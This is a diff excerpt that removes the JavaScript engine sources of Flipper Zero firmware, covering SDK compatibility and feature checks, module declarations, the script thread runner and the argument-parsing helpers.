JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_version_args, &major, &minor);
JsSdkCompatStatus status = js_internal_sdk_compatibility_status(major, minor);
mjs_return(mjs, mjs_mk_boolean(mjs, status == JsSdkCompatStatusCompatible));
}
/**
* @brief Asks the user whether to continue executing an incompatible script
*/
static bool js_internal_compat_ask_user(const char* message) {
DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS);
DialogMessage* dialog = dialog_message_alloc();
dialog_message_set_header(dialog, message, 64, 0, AlignCenter, AlignTop);
dialog_message_set_text(
dialog, "This script may not\nwork as expected", 79, 32, AlignCenter, AlignCenter);
dialog_message_set_icon(dialog, &I_Warning_30x23, 0, 18);
dialog_message_set_buttons(dialog, "Go back", NULL, "Run anyway");
DialogMessageButton choice = dialog_message_show(dialogs, dialog);
dialog_message_free(dialog);
furi_record_close(RECORD_DIALOGS);
return choice == DialogMessageButtonRight;
}
void js_check_sdk_compatibility(struct mjs* mjs) {
int32_t major, minor;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_version_args, &major, &minor);
JsSdkCompatStatus status = js_internal_sdk_compatibility_status(major, minor);
if(status != JsSdkCompatStatusCompatible) {
FURI_LOG_E(
TAG,
"Script requests JS SDK %ld.%ld, firmware provides JS SDK %d.%d",
major,
minor,
JS_SDK_MAJOR,
JS_SDK_MINOR);
const char* message = (status == JsSdkCompatStatusFirmwareTooOld) ? "Outdated Firmware" :
"Outdated Script";
if(!js_internal_compat_ask_user(message)) {
JS_ERROR_AND_RETURN(mjs, MJS_NOT_IMPLEMENTED_ERROR, "Incompatible script");
}
}
}
static const char* extra_features[] = {
"baseline", // dummy "feature"
"gpio-pwm",
"gui-widget",
"serial-framing",
"gui-widget-extras",
// extra modules
"blebeacon",
"i2c",
"spi",
"infrared-send",
"subghz",
"usbdisk",
"vgm",
};
/**
* @brief Determines whether a feature is supported
*/
static bool js_internal_supports(const char* feature) {
for(size_t i = 0; i < COUNT_OF(extra_features); i++) { // -V1008
if(strcmp(feature, extra_features[i]) == 0) return true;
}
return false;
}
/**
* @brief Determines whether all of the requested features are supported
*/
static bool js_internal_supports_all_of(struct mjs* mjs, mjs_val_t feature_arr) {
furi_assert(mjs_is_array(feature_arr));
for(size_t i = 0; i < mjs_array_length(mjs, feature_arr); i++) {
mjs_val_t feature = mjs_array_get(mjs, feature_arr, i);
const char* feature_str = mjs_get_string(mjs, &feature, NULL);
if(!feature_str) return false;
if(!js_internal_supports(feature_str)) return false;
}
return true;
}
static const JsValueDeclaration js_sdk_features_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeAnyArray),
};
static const JsValueArguments js_sdk_features_args = JS_VALUE_ARGS(js_sdk_features_arg_list);
void js_does_sdk_support(struct mjs* mjs) {
mjs_val_t features;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_features_args, &features);
mjs_return(mjs, mjs_mk_boolean(mjs, js_internal_supports_all_of(mjs, features)));
}
void js_check_sdk_features(struct mjs* mjs) {
mjs_val_t features;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_features_args, &features);
if(!js_internal_supports_all_of(mjs, features)) {
FURI_LOG_E(TAG, "Script requests unsupported features");
if(!js_internal_compat_ask_user("Unsupported Feature")) {
JS_ERROR_AND_RETURN(mjs, MJS_NOT_IMPLEMENTED_ERROR, "Incompatible script");
}
}
}

View File

@@ -1,149 +0,0 @@
#pragma once
#include <stdint.h>
#include "js_thread_i.h"
#include "js_value.h"
#include <flipper_application/flipper_application.h>
#include <flipper_application/plugins/plugin_manager.h>
#include <flipper_application/plugins/composite_resolver.h>
#ifdef __cplusplus
extern "C" {
#endif
#define PLUGIN_APP_ID "js"
#define PLUGIN_API_VERSION 1
#define JS_SDK_VENDOR_FIRMWARE "unleashed"
#define JS_SDK_VENDOR "flipperdevices"
#define JS_SDK_MAJOR 1
#define JS_SDK_MINOR 0
/**
* @brief Returns the foreign pointer in `obj["_"]`
*/
#define JS_GET_INST(mjs, obj) mjs_get_ptr(mjs, mjs_get(mjs, obj, INST_PROP_NAME, ~0))
/**
* @brief Returns the foreign pointer in `this["_"]`
*/
#define JS_GET_CONTEXT(mjs) JS_GET_INST(mjs, mjs_get_this(mjs))
/**
* @brief Syntax sugar for constructing an object
*
* Example:
*
* mjs_val_t my_obj = mjs_mk_object(mjs);
* JS_ASSIGN_MULTI(mjs, my_obj) {
* JS_FIELD("method1", MJS_MK_FN(js_storage_file_is_open));
* JS_FIELD("method2", MJS_MK_FN(js_storage_file_is_open));
* }
*/
#define JS_ASSIGN_MULTI(mjs, object) \
for(struct { \
struct mjs* mjs; \
mjs_val_t val; \
int i; \
} _ass_multi = {mjs, object, 0}; \
_ass_multi.i == 0; \
_ass_multi.i++)
#define JS_FIELD(name, value) mjs_set(_ass_multi.mjs, _ass_multi.val, name, ~0, value)
/**
* @brief The first word of structures that foreign pointer JS values point to
*
* This is used to detect situations where JS code mistakenly passes an opaque
* foreign pointer of one type as an argument to a native function which expects
* a struct of another type.
*
* It is recommended to use this functionality in conjunction with the following
* convenience verification macros:
* - `JS_ARG_STRUCT()`
* - `JS_ARG_OBJ_WITH_STRUCT()`
*
* @warning In order for the mechanism to work properly, your struct must store
* the magic value in the first word.
*/
typedef enum {
JsForeignMagicStart = 0x15BAD000,
JsForeignMagic_JsEventLoopContract,
} JsForeignMagic;
/**
* @brief Prepends an error, sets the JS return value to `undefined` and returns
* from the C function
* @warning This macro executes `return;` by design
*/
#define JS_ERROR_AND_RETURN(mjs, error_code, ...) \
do { \
mjs_prepend_errorf(mjs, error_code, __VA_ARGS__); \
mjs_return(mjs, MJS_UNDEFINED); \
return; \
} while(0)
/**
* @brief Prepends an error, sets the JS return value to `undefined` and returns
* a value C function
* @warning This macro executes `return;` by design
*/
#define JS_ERROR_AND_RETURN_VAL(mjs, error_code, ret_val, ...) \
do { \
mjs_prepend_errorf(mjs, error_code, __VA_ARGS__); \
mjs_return(mjs, MJS_UNDEFINED); \
return ret_val; \
} while(0)
typedef struct JsModules JsModules;
typedef void* (*JsModuleConstructor)(struct mjs* mjs, mjs_val_t* object, JsModules* modules);
typedef void (*JsModuleDestructor)(void* inst);
typedef struct {
char* name;
JsModuleConstructor create;
JsModuleDestructor destroy;
const ElfApiInterface* api_interface;
} JsModuleDescriptor;
JsModules* js_modules_create(struct mjs* mjs, CompositeApiResolver* resolver);
void js_modules_destroy(JsModules* modules);
mjs_val_t js_module_require(JsModules* modules, const char* name, size_t name_len);
/**
* @brief Gets a module instance by its name
* This is useful when a module wants to access a stateful API of another
* module.
* @returns Pointer to module context, NULL if the module is not instantiated
*/
void* js_module_get(JsModules* modules, const char* name);
/**
* @brief `sdkCompatibilityStatus` function
*/
void js_sdk_compatibility_status(struct mjs* mjs);
/**
* @brief `isSdkCompatible` function
*/
void js_is_sdk_compatible(struct mjs* mjs);
/**
* @brief `checkSdkCompatibility` function
*/
void js_check_sdk_compatibility(struct mjs* mjs);
/**
* @brief `doesSdkSupport` function
*/
void js_does_sdk_support(struct mjs* mjs);
/**
* @brief `checkSdkFeatures` function
*/
void js_check_sdk_features(struct mjs* mjs);
#ifdef __cplusplus
}
#endif

View File

@@ -1,357 +0,0 @@
#include <common/cs_dbg.h>
#include <toolbox/path.h>
#include <toolbox/stream/file_stream.h>
#include <toolbox/strint.h>
#include <loader/firmware_api/firmware_api.h>
#include <flipper_application/api_hashtable/api_hashtable.h>
#include <flipper_application/plugins/composite_resolver.h>
#include <furi_hal.h>
#include "plugin_api/app_api_interface.h"
#include "js_thread.h"
#include "js_thread_i.h"
#include "js_modules.h"
#define TAG "JS"
struct JsThread {
FuriThread* thread;
FuriString* path;
CompositeApiResolver* resolver;
JsThreadCallback app_callback;
void* context;
JsModules* modules;
};
static void js_str_print(FuriString* msg_str, struct mjs* mjs) {
size_t num_args = mjs_nargs(mjs);
for(size_t i = 0; i < num_args; i++) {
char* name = NULL;
size_t name_len = 0;
int need_free = 0;
mjs_val_t arg = mjs_arg(mjs, i);
mjs_err_t err = mjs_to_string(mjs, &arg, &name, &name_len, &need_free);
if(err != MJS_OK) {
furi_string_cat_printf(msg_str, "err %s ", mjs_strerror(mjs, err));
} else {
furi_string_cat_printf(msg_str, "%s ", name);
}
if(need_free) {
free(name);
name = NULL;
}
}
}
static void js_print(struct mjs* mjs) {
FuriString* msg_str = furi_string_alloc();
js_str_print(msg_str, mjs);
JsThread* worker = mjs_get_context(mjs);
furi_assert(worker);
if(worker->app_callback) {
worker->app_callback(JsThreadEventPrint, furi_string_get_cstr(msg_str), worker->context);
} else {
FURI_LOG_D(TAG, "%s\r\n", furi_string_get_cstr(msg_str));
}
furi_string_free(msg_str);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_console_log(struct mjs* mjs) {
FuriString* msg_str = furi_string_alloc();
js_str_print(msg_str, mjs);
FURI_LOG_I(TAG, "%s", furi_string_get_cstr(msg_str));
furi_string_free(msg_str);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_console_warn(struct mjs* mjs) {
FuriString* msg_str = furi_string_alloc();
js_str_print(msg_str, mjs);
FURI_LOG_W(TAG, "%s", furi_string_get_cstr(msg_str));
furi_string_free(msg_str);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_console_error(struct mjs* mjs) {
FuriString* msg_str = furi_string_alloc();
js_str_print(msg_str, mjs);
FURI_LOG_E(TAG, "%s", furi_string_get_cstr(msg_str));
furi_string_free(msg_str);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_console_debug(struct mjs* mjs) {
FuriString* msg_str = furi_string_alloc();
js_str_print(msg_str, mjs);
FURI_LOG_D(TAG, "%s", furi_string_get_cstr(msg_str));
furi_string_free(msg_str);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_exit_flag_poll(struct mjs* mjs) {
uint32_t flags = furi_thread_flags_wait(ThreadEventStop, FuriFlagWaitAny | FuriFlagNoClear, 0);
if(flags & FuriFlagError) {
return;
}
if(flags & ThreadEventStop) {
mjs_exit(mjs);
}
}
bool js_delay_with_flags(struct mjs* mjs, uint32_t time) {
uint32_t flags =
furi_thread_flags_wait(ThreadEventStop, FuriFlagWaitAny | FuriFlagNoClear, time);
if(flags & FuriFlagError) {
return false;
}
if(flags & ThreadEventStop) {
mjs_exit(mjs);
return true;
}
return false;
}
void js_flags_set(struct mjs* mjs, uint32_t flags) {
JsThread* worker = mjs_get_context(mjs);
furi_assert(worker);
furi_thread_flags_set(furi_thread_get_id(worker->thread), flags);
}
uint32_t js_flags_wait(struct mjs* mjs, uint32_t flags_mask, uint32_t timeout) {
flags_mask |= ThreadEventStop;
uint32_t flags = furi_thread_flags_get();
furi_check((flags & FuriFlagError) == 0);
if(flags == 0) {
flags = furi_thread_flags_wait(flags_mask, FuriFlagWaitAny | FuriFlagNoClear, timeout);
} else {
uint32_t state = furi_thread_flags_clear(flags & flags_mask);
furi_check((state & FuriFlagError) == 0);
}
if(flags & FuriFlagError) {
return 0;
}
if(flags & ThreadEventStop) {
mjs_exit(mjs);
}
return flags;
}
static void js_delay(struct mjs* mjs) {
bool args_correct = false;
int ms = 0;
if(mjs_nargs(mjs) == 1) {
mjs_val_t arg = mjs_arg(mjs, 0);
if(mjs_is_number(arg)) {
ms = mjs_get_int(mjs, arg);
args_correct = true;
}
}
if(!args_correct) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
js_delay_with_flags(mjs, ms);
mjs_return(mjs, MJS_UNDEFINED);
}
static void* js_dlsym(void* handle, const char* name) {
CompositeApiResolver* resolver = handle;
Elf32_Addr addr = 0;
uint32_t hash = elf_symbolname_hash(name);
const ElfApiInterface* api = composite_api_resolver_get(resolver);
if(!api->resolver_callback(api, hash, &addr)) {
FURI_LOG_E(TAG, "FFI: cannot find \"%s\"", name);
return NULL;
}
return (void*)addr;
}
static void js_ffi_address(struct mjs* mjs) {
mjs_val_t name_v = mjs_arg(mjs, 0);
size_t len;
const char* name = mjs_get_string(mjs, &name_v, &len);
void* addr = mjs_ffi_resolve(mjs, name);
mjs_return(mjs, mjs_mk_foreign(mjs, addr));
}
static void js_require(struct mjs* mjs) {
mjs_val_t name_v = mjs_arg(mjs, 0);
size_t len;
const char* name = mjs_get_string(mjs, &name_v, &len);
mjs_val_t req_object = MJS_UNDEFINED;
if((len == 0) || (name == NULL)) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "String argument is expected");
} else {
JsThread* worker = mjs_get_context(mjs);
furi_assert(worker);
req_object = js_module_require(worker->modules, name, len);
}
mjs_return(mjs, req_object);
}
static void js_parse_int(struct mjs* mjs) {
static const JsValueDeclaration js_parse_int_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeString),
JS_VALUE_SIMPLE_W_DEFAULT(JsValueTypeInt32, int32_val, 10),
};
static const JsValueArguments js_parse_int_args = JS_VALUE_ARGS(js_parse_int_arg_list);
const char* str;
int32_t base;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_parse_int_args, &str, &base);
int32_t num;
if(strint_to_int32(str, NULL, &num, base) != StrintParseNoError) {
num = 0;
}
mjs_return(mjs, mjs_mk_number(mjs, num));
}
#ifdef JS_DEBUG
static void js_dump_write_callback(void* ctx, const char* format, ...) {
File* file = ctx;
furi_assert(ctx);
FuriString* str = furi_string_alloc();
va_list args;
va_start(args, format);
furi_string_vprintf(str, format, args);
furi_string_cat(str, "\n");
va_end(args);
storage_file_write(file, furi_string_get_cstr(str), furi_string_size(str));
furi_string_free(str);
}
#endif
static int32_t js_thread(void* arg) {
JsThread* worker = arg;
worker->resolver = composite_api_resolver_alloc();
composite_api_resolver_add(worker->resolver, firmware_api_interface);
composite_api_resolver_add(worker->resolver, application_api_interface);
struct mjs* mjs = mjs_create(worker);
worker->modules = js_modules_create(mjs, worker->resolver);
mjs_val_t global = mjs_get_global(mjs);
mjs_val_t console_obj = mjs_mk_object(mjs);
if(worker->path) {
FuriString* dirpath = furi_string_alloc();
path_extract_dirname(furi_string_get_cstr(worker->path), dirpath);
mjs_set(
mjs,
global,
"__filename",
~0,
mjs_mk_string(
mjs, furi_string_get_cstr(worker->path), furi_string_size(worker->path), true));
mjs_set(
mjs,
global,
"__dirname",
~0,
mjs_mk_string(mjs, furi_string_get_cstr(dirpath), furi_string_size(dirpath), true));
furi_string_free(dirpath);
}
JS_ASSIGN_MULTI(mjs, global) {
JS_FIELD("print", MJS_MK_FN(js_print));
JS_FIELD("delay", MJS_MK_FN(js_delay));
JS_FIELD("parseInt", MJS_MK_FN(js_parse_int));
JS_FIELD("ffi_address", MJS_MK_FN(js_ffi_address));
JS_FIELD("require", MJS_MK_FN(js_require));
JS_FIELD("console", console_obj);
JS_FIELD("sdkCompatibilityStatus", MJS_MK_FN(js_sdk_compatibility_status));
JS_FIELD("isSdkCompatible", MJS_MK_FN(js_is_sdk_compatible));
JS_FIELD("checkSdkCompatibility", MJS_MK_FN(js_check_sdk_compatibility));
JS_FIELD("doesSdkSupport", MJS_MK_FN(js_does_sdk_support));
JS_FIELD("checkSdkFeatures", MJS_MK_FN(js_check_sdk_features));
}
JS_ASSIGN_MULTI(mjs, console_obj) {
JS_FIELD("log", MJS_MK_FN(js_console_log));
JS_FIELD("warn", MJS_MK_FN(js_console_warn));
JS_FIELD("error", MJS_MK_FN(js_console_error));
JS_FIELD("debug", MJS_MK_FN(js_console_debug));
}
mjs_set_ffi_resolver(mjs, js_dlsym, worker->resolver);
mjs_set_exec_flags_poller(mjs, js_exit_flag_poll);
mjs_err_t err = mjs_exec_file(mjs, furi_string_get_cstr(worker->path), NULL);
#ifdef JS_DEBUG
if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) {
FuriString* dump_path = furi_string_alloc_set(worker->path);
furi_string_cat(dump_path, ".lst");
Storage* storage = furi_record_open(RECORD_STORAGE);
File* file = storage_file_alloc(storage);
if(storage_file_open(
file, furi_string_get_cstr(dump_path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
mjs_disasm_all(mjs, js_dump_write_callback, file);
}
storage_file_close(file);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
furi_string_free(dump_path);
}
#endif
if(err != MJS_OK) {
FURI_LOG_E(TAG, "Exec error: %s", mjs_strerror(mjs, err));
if(worker->app_callback) {
worker->app_callback(JsThreadEventError, mjs_strerror(mjs, err), worker->context);
}
const char* stack_trace = mjs_get_stack_trace(mjs);
if(stack_trace != NULL) {
FURI_LOG_E(TAG, "Stack trace:\r\n%s", stack_trace);
if(worker->app_callback) {
worker->app_callback(JsThreadEventErrorTrace, stack_trace, worker->context);
}
}
} else {
if(worker->app_callback) {
worker->app_callback(JsThreadEventDone, NULL, worker->context);
}
}
mjs_destroy(mjs);
js_modules_destroy(worker->modules);
composite_api_resolver_free(worker->resolver);
return 0;
}
JsThread* js_thread_run(const char* script_path, JsThreadCallback callback, void* context) {
JsThread* worker = malloc(sizeof(JsThread)); //-V799
worker->path = furi_string_alloc_set(script_path);
worker->thread = furi_thread_alloc_ex("JsThread", 8 * 1024, js_thread, worker);
worker->app_callback = callback;
worker->context = context;
furi_thread_start(worker->thread);
return worker;
}
void js_thread_stop(JsThread* worker) {
furi_thread_flags_set(furi_thread_get_id(worker->thread), ThreadEventStop);
furi_thread_join(worker->thread);
furi_thread_free(worker->thread);
furi_string_free(worker->path);
free(worker);
}

View File

@@ -1,24 +0,0 @@
#pragma once
#ifdef __cplusplus
extern "C" {
#endif
typedef struct JsThread JsThread;
typedef enum {
JsThreadEventDone,
JsThreadEventError,
JsThreadEventPrint,
JsThreadEventErrorTrace,
} JsThreadEvent;
typedef void (*JsThreadCallback)(JsThreadEvent event, const char* msg, void* context);
JsThread* js_thread_run(const char* script_path, JsThreadCallback callback, void* context);
void js_thread_stop(JsThread* worker);
#ifdef __cplusplus
}
#endif

View File

@@ -1,33 +0,0 @@
#pragma once
#include <furi.h>
#include <mjs_core_public.h>
#include <mjs_ffi_public.h>
#include <mjs_exec_public.h>
#include <mjs_object_public.h>
#include <mjs_string_public.h>
#include <mjs_array_public.h>
#include <mjs_util_public.h>
#include <mjs_primitive_public.h>
#include <mjs_array_buf_public.h>
#ifdef __cplusplus
extern "C" {
#endif
#define INST_PROP_NAME "_"
typedef enum {
ThreadEventStop = (1 << 0),
ThreadEventCustomDataRx = (1 << 1),
} WorkerEventFlags;
bool js_delay_with_flags(struct mjs* mjs, uint32_t time);
void js_flags_set(struct mjs* mjs, uint32_t flags);
uint32_t js_flags_wait(struct mjs* mjs, uint32_t flags, uint32_t timeout);
#ifdef __cplusplus
}
#endif

View File

@@ -1,291 +0,0 @@
#include "js_value.h"
#include <stdarg.h>
#ifdef APP_UNIT_TESTS
#define JS_VAL_DEBUG
#endif
size_t js_value_buffer_size(const JsValueParseDeclaration declaration) {
if(declaration.source == JsValueParseSourceValue) {
const JsValueDeclaration* value_decl = declaration.value_decl;
JsValueType type = value_decl->type & JsValueTypeMask;
if(type == JsValueTypeString) return 1;
if(type == JsValueTypeObject) {
size_t total = 0;
for(size_t i = 0; i < value_decl->n_children; i++)
total += js_value_buffer_size(
JS_VALUE_PARSE_SOURCE_VALUE(value_decl->object_fields[i].value));
return total;
}
return 0;
} else {
const JsValueArguments* arg_decl = declaration.argument_decl;
size_t total = 0;
for(size_t i = 0; i < arg_decl->n_children; i++)
total += js_value_buffer_size(JS_VALUE_PARSE_SOURCE_VALUE(&arg_decl->arguments[i]));
return total;
}
}
static size_t js_value_resulting_c_values_count(const JsValueParseDeclaration declaration) {
if(declaration.source == JsValueParseSourceValue) {
const JsValueDeclaration* value_decl = declaration.value_decl;
JsValueType type = value_decl->type & JsValueTypeMask;
if(type == JsValueTypeObject) {
size_t total = 0;
for(size_t i = 0; i < value_decl->n_children; i++)
total += js_value_resulting_c_values_count(
JS_VALUE_PARSE_SOURCE_VALUE(value_decl->object_fields[i].value));
return total;
}
return 1;
} else {
const JsValueArguments* arg_decl = declaration.argument_decl;
size_t total = 0;
for(size_t i = 0; i < arg_decl->n_children; i++)
total += js_value_resulting_c_values_count(
JS_VALUE_PARSE_SOURCE_VALUE(&arg_decl->arguments[i]));
return total;
}
}
#define PREPEND_JS_ERROR_AND_RETURN(mjs, flags, ...) \
do { \
if((flags) & JsValueParseFlagReturnOnError) \
mjs_prepend_errorf((mjs), MJS_BAD_ARGS_ERROR, __VA_ARGS__); \
return JsValueParseStatusJsError; \
} while(0)
#define PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, type) \
PREPEND_JS_ERROR_AND_RETURN(mjs, flags, "expected %s", type)
static void js_value_assign_enum_val(void* destination, JsValueType type_w_flags, uint32_t value) {
if(type_w_flags & JsValueTypeEnumSize1) {
*(uint8_t*)destination = value;
} else if(type_w_flags & JsValueTypeEnumSize2) {
*(uint16_t*)destination = value;
} else if(type_w_flags & JsValueTypeEnumSize4) {
*(uint32_t*)destination = value;
}
}
static bool js_value_is_null_or_undefined(mjs_val_t* val_ptr) {
return mjs_is_null(*val_ptr) || mjs_is_undefined(*val_ptr);
}
static bool js_value_maybe_assign_default(
const JsValueDeclaration* declaration,
mjs_val_t* val_ptr,
void* destination,
size_t size) {
if((declaration->type & JsValueTypePermitNull) && js_value_is_null_or_undefined(val_ptr)) {
memcpy(destination, &declaration->default_value, size);
return true;
}
return false;
}
typedef int (*MjsTypecheckFn)(mjs_val_t value);
static JsValueParseStatus js_value_parse_literal(
struct mjs* mjs,
JsValueParseFlag flags,
mjs_val_t* destination,
mjs_val_t* source,
MjsTypecheckFn typecheck,
const char* type_name) {
if(!typecheck(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, type_name);
*destination = *source;
return JsValueParseStatusOk;
}
static JsValueParseStatus js_value_parse_va(
struct mjs* mjs,
const JsValueParseDeclaration declaration,
JsValueParseFlag flags,
mjs_val_t* source,
mjs_val_t* buffer,
size_t* buffer_index,
va_list* out_pointers) {
if(declaration.source == JsValueParseSourceArguments) {
const JsValueArguments* arg_decl = declaration.argument_decl;
for(size_t i = 0; i < arg_decl->n_children; i++) {
mjs_val_t arg_val = mjs_arg(mjs, i);
JsValueParseStatus status = js_value_parse_va(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&arg_decl->arguments[i]),
flags,
&arg_val,
buffer,
buffer_index,
out_pointers);
if(status != JsValueParseStatusOk) return status;
}
return JsValueParseStatusOk;
}
const JsValueDeclaration* value_decl = declaration.value_decl;
JsValueType type_w_flags = value_decl->type;
JsValueType type_noflags = type_w_flags & JsValueTypeMask;
bool is_null_but_allowed = (type_w_flags & JsValueTypePermitNull) &&
js_value_is_null_or_undefined(source);
void* destination = NULL;
if(type_noflags != JsValueTypeObject) destination = va_arg(*out_pointers, void*);
switch(type_noflags) {
// Literal terms
case JsValueTypeAny:
*(mjs_val_t*)destination = *source;
break;
case JsValueTypeAnyArray:
return js_value_parse_literal(mjs, flags, destination, source, mjs_is_array, "array");
case JsValueTypeAnyObject:
return js_value_parse_literal(mjs, flags, destination, source, mjs_is_object, "array");
case JsValueTypeFunction:
return js_value_parse_literal(
mjs, flags, destination, source, mjs_is_function, "function");
// Primitive types
case JsValueTypeRawPointer: {
if(js_value_maybe_assign_default(value_decl, source, destination, sizeof(void*))) break;
if(!mjs_is_foreign(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "pointer");
*(void**)destination = mjs_get_ptr(mjs, *source);
break;
}
case JsValueTypeInt32: {
if(js_value_maybe_assign_default(value_decl, source, destination, sizeof(int32_t))) break;
if(!mjs_is_number(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "number");
*(int32_t*)destination = mjs_get_int32(mjs, *source);
break;
}
case JsValueTypeDouble: {
if(js_value_maybe_assign_default(value_decl, source, destination, sizeof(double))) break;
if(!mjs_is_number(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "number");
*(double*)destination = mjs_get_double(mjs, *source);
break;
}
case JsValueTypeBool: {
if(js_value_maybe_assign_default(value_decl, source, destination, sizeof(bool))) break;
if(!mjs_is_boolean(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "bool");
*(bool*)destination = mjs_get_bool(mjs, *source);
break;
}
case JsValueTypeString: {
if(js_value_maybe_assign_default(value_decl, source, destination, sizeof(const char*)))
break;
if(!mjs_is_string(*source)) PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "string");
buffer[*buffer_index] = *source;
*(const char**)destination = mjs_get_string(mjs, &buffer[*buffer_index], NULL);
(*buffer_index)++;
break;
}
// Types with children
case JsValueTypeEnum: {
if(is_null_but_allowed) {
js_value_assign_enum_val(
destination, type_w_flags, value_decl->default_value.enum_val);
} else if(mjs_is_string(*source)) {
const char* str = mjs_get_string(mjs, source, NULL);
furi_check(str);
bool match_found = false;
for(size_t i = 0; i < value_decl->n_children; i++) {
const JsValueEnumVariant* variant = &value_decl->enum_variants[i];
if(strcmp(str, variant->string_value) == 0) {
js_value_assign_enum_val(destination, type_w_flags, variant->num_value);
match_found = true;
break;
}
}
if(!match_found)
PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "one of permitted strings");
} else {
PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "string");
}
break;
}
case JsValueTypeObject: {
if(!(is_null_but_allowed || mjs_is_object(*source)))
PREPEND_JS_EXPECTED_ERROR_AND_RETURN(mjs, flags, "object");
for(size_t i = 0; i < value_decl->n_children; i++) {
const JsValueObjectField* field = &value_decl->object_fields[i];
mjs_val_t field_val = mjs_get(mjs, *source, field->field_name, ~0);
JsValueParseStatus status = js_value_parse_va(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(field->value),
flags,
&field_val,
buffer,
buffer_index,
out_pointers);
if(status != JsValueParseStatusOk)
PREPEND_JS_ERROR_AND_RETURN(mjs, flags, "field %s: ", field->field_name);
}
break;
}
case JsValueTypeMask:
case JsValueTypeEnumSize1:
case JsValueTypeEnumSize2:
case JsValueTypeEnumSize4:
case JsValueTypePermitNull:
furi_crash();
}
return JsValueParseStatusOk;
}
JsValueParseStatus js_value_parse(
struct mjs* mjs,
const JsValueParseDeclaration declaration,
JsValueParseFlag flags,
mjs_val_t* buffer,
size_t buf_size,
mjs_val_t* source,
size_t n_c_vals,
...) {
furi_check(mjs);
furi_check(buffer);
if(declaration.source == JsValueParseSourceValue) {
furi_check(source);
furi_check(declaration.value_decl);
} else {
furi_check(source == NULL);
furi_check(declaration.argument_decl);
}
#ifdef JS_VAL_DEBUG
furi_check(buf_size == js_value_buffer_size(declaration));
furi_check(n_c_vals == js_value_resulting_c_values_count(declaration));
#else
UNUSED(js_value_resulting_c_values_count);
#endif
va_list out_pointers;
va_start(out_pointers, n_c_vals);
size_t buffer_index = 0;
JsValueParseStatus status =
js_value_parse_va(mjs, declaration, flags, source, buffer, &buffer_index, &out_pointers);
furi_check(buffer_index <= buf_size);
va_end(out_pointers);
return status;
}

View File

@@ -1,212 +0,0 @@
#pragma once
#include <furi.h>
#include "js_modules.h"
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
// literal types
JsValueTypeAny, //<! Literal term
JsValueTypeAnyArray, //<! Literal term, after ensuring that it's an array
JsValueTypeAnyObject, //<! Literal term, after ensuring that it's an object
JsValueTypeFunction, //<! Literal term, after ensuring that it's a function
// primitive types
JsValueTypeRawPointer, //<! Unchecked `void*`
JsValueTypeInt32, //<! Number cast to `int32_t`
JsValueTypeDouble, //<! Number cast to `double`
JsValueTypeString, //<! Any string cast to `const char*`
JsValueTypeBool, //<! Bool cast to `bool`
// types with children
JsValueTypeEnum, //<! String with predefined possible values cast to a C enum via a mapping
JsValueTypeObject, //<! Object with predefined recursive fields cast to several C values
JsValueTypeMask = 0xff,
// enum sizes
JsValueTypeEnumSize1 = (1 << 8),
JsValueTypeEnumSize2 = (2 << 8),
JsValueTypeEnumSize4 = (4 << 8),
// flags
JsValueTypePermitNull = (1 << 16), //<! If the value is absent, assign default value
} JsValueType;
#define JS_VALUE_TYPE_ENUM_SIZE(x) ((x) << 8)
typedef struct {
const char* string_value;
size_t num_value;
} JsValueEnumVariant;
typedef union {
void* ptr_val;
int32_t int32_val;
double double_val;
const char* str_val;
size_t enum_val;
bool bool_val;
} JsValueDefaultValue;
typedef struct JsValueObjectField JsValueObjectField;
typedef struct {
JsValueType type;
JsValueDefaultValue default_value;
size_t n_children;
union {
const JsValueEnumVariant* enum_variants;
const JsValueObjectField* object_fields;
};
} JsValueDeclaration;
struct JsValueObjectField {
const char* field_name;
const JsValueDeclaration* value;
};
typedef struct {
size_t n_children;
const JsValueDeclaration* arguments;
} JsValueArguments;
#define JS_VALUE_ENUM(c_type, variants) \
{ \
.type = JsValueTypeEnum | JS_VALUE_TYPE_ENUM_SIZE(sizeof(c_type)), \
.n_children = COUNT_OF(variants), \
.enum_variants = variants, \
}
#define JS_VALUE_ENUM_W_DEFAULT(c_type, variants, default) \
{ \
.type = JsValueTypeEnum | JsValueTypePermitNull | \
JS_VALUE_TYPE_ENUM_SIZE(sizeof(c_type)), \
.default_value.enum_val = default, \
.n_children = COUNT_OF(variants), \
.enum_variants = variants, \
}
#define JS_VALUE_OBJECT(fields) \
{ \
.type = JsValueTypeObject, \
.n_children = COUNT_OF(fields), \
.object_fields = fields, \
}
#define JS_VALUE_OBJECT_W_DEFAULTS(fields) \
{ \
.type = JsValueTypeObject | JsValueTypePermitNull, \
.n_children = COUNT_OF(fields), \
.object_fields = fields, \
}
#define JS_VALUE_SIMPLE(t) {.type = t}
